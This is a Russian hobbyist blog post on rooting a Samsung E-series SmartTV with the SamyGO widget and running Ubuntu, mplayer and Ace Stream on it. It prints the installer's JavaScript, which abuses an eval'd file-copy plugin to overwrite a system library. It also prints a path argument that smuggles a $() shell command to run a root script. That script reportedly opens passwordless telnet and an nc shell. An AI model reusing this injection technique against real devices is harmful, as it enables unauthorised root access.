Запускаем Ubuntu и смотрим Torrent и Torrent-TV прямиком на Samsung SmartTV

от автора

После прочтения комментария от awoland во вчерашней статье Как SmartTV забыли о главном, я сразу полез пробовать получить root-права и telnet/ssh на своем телевизоре. Оказывается, все уже готово для этого, и это проще простого!

Достаточно установить Виджет SamyGo, и он все сделает за вас!

Что дает нам SamyGO?

  • Root-доступ на ТВ через Telnet
  • Виртуальную флешку, монтирование NFS, Samba, FTP на нее
  • Samba, FTP-сервера
  • Apache2 с PHP
  • Уйму веселья!

# -*- DISCLAIMER -*-
Все, что вы делаете со своим ТВ, вы делаете на свой страх и риск. Автор этой статьи не несет никакой ответственности за ваш анал.

Для моего ТВ (E-серия), мне необходимо было:

  1. Установить Skype на ТВ и запустить его 1 раз
  2. Скачать инсталлятор виджета SamyGo на флешку
  3. Запустить его с флешки
  4. ???
  5. PROFIT!

Как они это сделали, демоны?

Вот как выглядит скрипт инсталлятора:

Скрытый текст

var Main = {  }  var widgetAPI = new Common.API.Widget();         var tvKey = new Common.API.TVKeyValue();  var runf1=1; var runf2=1; var LabelString="Log:  "; var usbPlugin; var FilePlugin; var nUSBCount; var commonFilePath;  Main.onLoad = function()  {                  alert("Main.onLoad()");     this.enableKeys();     widgetAPI.sendReadyEvent();                  Func(); };  Main.onUnload = function() {  };  Main.enableKeys = function() { 	document.getElementById("anchor").focus(); };  Main.keyDown = function()  {                 var keyCode = event.keyCode;  	switch(keyCode) 	{ 		case tvKey.KEY_RETURN: 		case tvKey.KEY_PANEL_RETURN: 			widgetAPI.sendReturnEvent(); 			break; 		case tvKey.KEY_RED: 			if(runf2==1)  				{ 				 runf2=0; 				 Log ("  Please Wait 20-30 sec...."); 				 setTimeout("Func1(commonFilePath);",3000); 				} 			 else Log('Activated yet!'); 			break; 		case tvKey.KEY_ENTER: 		case tvKey.KEY_PANEL_ENTER: 			if(runf1==1) 			   { 				runf1=0; 				Log ("  Please Wait  20-30 sec...."); 				setTimeout("Func1(commonFilePath);",3000); 			   }	 			 else Log('Activated yet!'); 			 			break; 		default: 			alert("Unhandled key"); 			break; 	}  };  function Log(Str) { 	var Label = document.getElementById("LogLabel"); 	LabelString = LabelString+Str+"  "; 	widgetAPI.putInnerHTML(Label,LabelString); };  function sleep(ms)  { 	ms += new Date().getTime(); 	while (new Date() < ms){} };  function Func()  { 	usbPlugin = document.getElementById("pluginStorage"); 	FilePlugin = document.getElementById("pluginObjectFile"); 	nUSBCount = eval("usbPlugin.GetUSBListSize()"); 	var Param; 	var r1=0; 	var r2=0; 	var r3=0;  	Log("Found <b style='font-size:30px; color:green'>" + nUSBCount + "</b> USB devices");     for (var i = 0; i < nUSBCount; i++)     {         var nid1 = eval("usbPlugin.GetUSBDeviceID("+i+")");         var nid = parseInt(nid1);         var VN = "  Vendor Name = <b style='color:green'>" + eval("usbPlugin.GetUSBVendorName("+nid+")") + "</b>";         var MN = "  Model Name = <b style='color:green'>" + eval("usbPlugin.GetUSBModelName("+nid+")") + "</b>";         nPartition = eval("usbPlugin.GetUSBPartitionNum("+nid+")");         for (var j = 0; j < nPartition; j++)          {         	var mntPath = eval("usbPlugin.GetUSBMountPath("+nid+", "+j+")");             commonFilePath = '/dtv/usb/' + mntPath;               Param = "FilePlugin.IsExistedPath(commonFilePath + '/InstallSamygo/data/SamyGO.zip')";             r1 = eval(Param);             Param = "FilePlugin.IsExistedPath(commonFilePath + '/InstallSamygo/data/AutoStart')";              r2 = eval(Param);             Param = "FilePlugin.IsExistedPath(commonFilePath + '/InstallSamygo/data/libSkype.so')";              r3 = eval(Param);             if (r1 == 1 && r2 == 1 && r3 == 1)             	{             		Log("The installation files found on USB: " + commonFilePath + VN + MN);             		return;             	}               else              	{           			Log("Some installation files not found on USB: " + commonFilePath + VN + MN);           			return;             	}         }        Log("The installation files not found on USB: error");     }    };  function Func1(Path)  {  	var r=0; 	var Param; 	var str ='';       Param="FilePlugin.Copy ('"+ Path +"/InstallSamygo/data/AutoStart','/mtd_rwcommon/moip/engines/Skype/AutoStart')";     r = eval(Param);     if (r==1) str = 'OK'; else str = 'No';     Log("Step1: " + str)      Param="FilePlugin.Copy ('"+ Path +"/InstallSamygo/data/libSkype.so','/mtd_rwcommon/moip/engines/Skype/libSkype.so')";     r = eval(Param);     if (r==1) str = 'OK'; else str = 'No';     Log("Step2: " + str);      if(runf2==1)      {       Param="FilePlugin.Unzip('"+ Path +"/InstallSamygo/data/SamyGO.zip','/mtd_rwcommon/widgets/user/SamyGO/')";       r = eval(Param);       if (r==1) str = 'OK'; else str = 'No';       Log("Step3: " + str);      }      Log("Now press exit and restart tv");	 };

Уязвимость в функции FilePlugin.Copy, вызываемой через eval, которая позволяет копировать что угодно куда угодно. Скрипт берет и копирует подмененный libSkype.so, который умеет только запускать другой скрипт, и устанавливает сам виджет SamyGo.

Что же в виджите SamyGo?

Скрытый текст

var Main = {                     }  var widgetAPI = new Common.API.Widget();         var tvKey = new Common.API.TVKeyValue();  Main.onLoad = function() {                  alert("Main.onLoad()");     widgetAPI.sendReadyEvent();                  document.getElementById("anchor").focus();                                                            var FilePlugin = document.getElementById("pluginObjectFile");      var Param1="FilePlugin.Copy (\"/proc/self/cmdline\", \"$(sh /mtd_rwcommon/widgets/user/SamyGO/data/run.sh)/tmp/cmdline\")";      eval(Param1);  	  }  Main.keyDown = function() {                 var keyCode = event.keyCode;     alert("Main Key code : " + keyCode);      switch (keyCode) {         case tvKey.KEY_RETURN:             break;     } } 

Ну это вообще пушка! Мы можем выполнять shell-команды из все той же функции, используя $()-синтаксис.
run.sh выполняет инсталляцию busybox и прочей мишуры, монтирует data.xfs, запускает telnetd и nc, который запускает sh при коннекте (если будут какие-то проблемы с /dev/pts и к telnet нельзя будет подключиться), запускает подобия init-скриптов.

Что внутри?

Внутри у нас 2-ядерный процессор с архитектурой ARMv7, с поддержкой NEON, я полагаю, семейства Cortex-A8, видео MALI 400, 512МБ оперативной памяти, ядро 2.6.35.13. В общем, довольно типичный «планшет» 2012 года.

cat /proc/cpuinfo

VDLinux#> cat /proc/cpuinfo Processor       : ARMv7 Processor rev 0 (v7l) processor       : 0 BogoMIPS        : 1794.04  processor       : 1 BogoMIPS        : 1794.04  Features        : swp half thumb fastmult vfp edsp neon vfpv3  CPU implementer : 0x41 CPU architecture: 7 CPU variant     : 0x3 CPU part        : 0xc09 CPU revision    : 0  Hardware        : amber3 Revision        : 0000 Serial          : 0000000000000000

Ядро поддерживает SquashFS, FAT32, XFS, RFS (Самсунговская ФС, FAT32 + журналирование), NTFS (Драйвер tntfs от Tuxera). Есть поддержка модулей, в SamyGo поставляются несколько модулей ФС, FUSE загружается, а, например, ext2/3/4 — нет, т.к. в ядре нет символов для них.

На ТВ запущен самый обычный X-сервер с xf86-video-mali, за весь SmartTV отвечает 125-мегабайтный файл exeDSP (загружался в IDA PRO 17 минут до начала анализа), а вот со звуком интересней: alsa нет, и, похоже, exeDSP общается с /dev/system напрямую.

Что можно делать-то?

Да что угодно. Я лентяй, и стараюсь лишний раз не кросс-компилировать что-либо, поэтому просто взял Ubuntu Core, создал на флешке XFS-раздел, распаковал туда Ubuntu и вставил в ТВ. С armhf-версией были проблемы (всякие unknown instruction, там компилируют с thumb2?), поэтому нашел 12.04 armel.
Остается только вставить флешку в ТВ, подключиться по telnet и сделать:

chroot /dtv/usb/sda1 /bin/bash

И мы получим полноценную убунту 12.04.
mount —bind не работает, поэтому, если вам нужен proc и sys в chroot (а он вам будет нужен), используйте:

mount -t sysfs sysfs ./sys mount -t proc proc ./proc

Первым делом, я, конечно же, поставил mplayer. И знаете, работает! Медленно, конечно, и из выводов только x11 работает, но показывает! Я посмотрел вчерашний опенинг с субтитрами и без звука 😉

Скриншотов, вот, scrot’ом поснимал:
image
image

Прошу обратить внимание, разрешение скриншотов я не менял, и, на самом деле, разрешение у ТВ (по крайней мере у X-сервера) 1280×720!

Ну а дальше я решил поставить Ace Stream Engine и AceProxy для просмотра ТВ-стримов и Torrent прямо на ТВ. Для этого нам необходим Python, т.к. именно на нем написаны эти два продукта. Т.к. Ace Stream официально не выпускается для ARM, да и вообще, его разработчики несколько дикие, то мы возьмем распакованную версию для Raspberry PI, ну а AceProxy из моего репозитория

Собственно, нужные пакеты для Ace Stream написаны в ссылке, а для AceProxy нужен только python-gevent. Запускаем все это дело, можно даже открыть страницу статистики AceProxy во встроенном браузере ТВ:
image

На удивление, Ace Stream не особо грузит процессор (где-то на 15% судя по top), так что его вполне можно использовать на ТВ.
Теперь остается только взять какой-нибудь плеер (nStreamLmod, например) и сделать плейлист для AceProxy.

Что-то еще?

Это все proof-of-concept. Я все это делал чисто из кратковременного интереса и, скорее всего, не буду продолжать дальше. Однако, если кто-нибудь подопнет меня, как происходит работа со звуком, то можно будет смотреть видео с FLAC и Vorbis в MKV, просто запуская их вместе.
Будьте осторожны с SamyGo. По умолчанию, он запускает много сервисов, и доступ по telnet осуществляется без пароля.
Успехов!

ссылка на оригинал статьи http://habrahabr.ru/post/205762/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *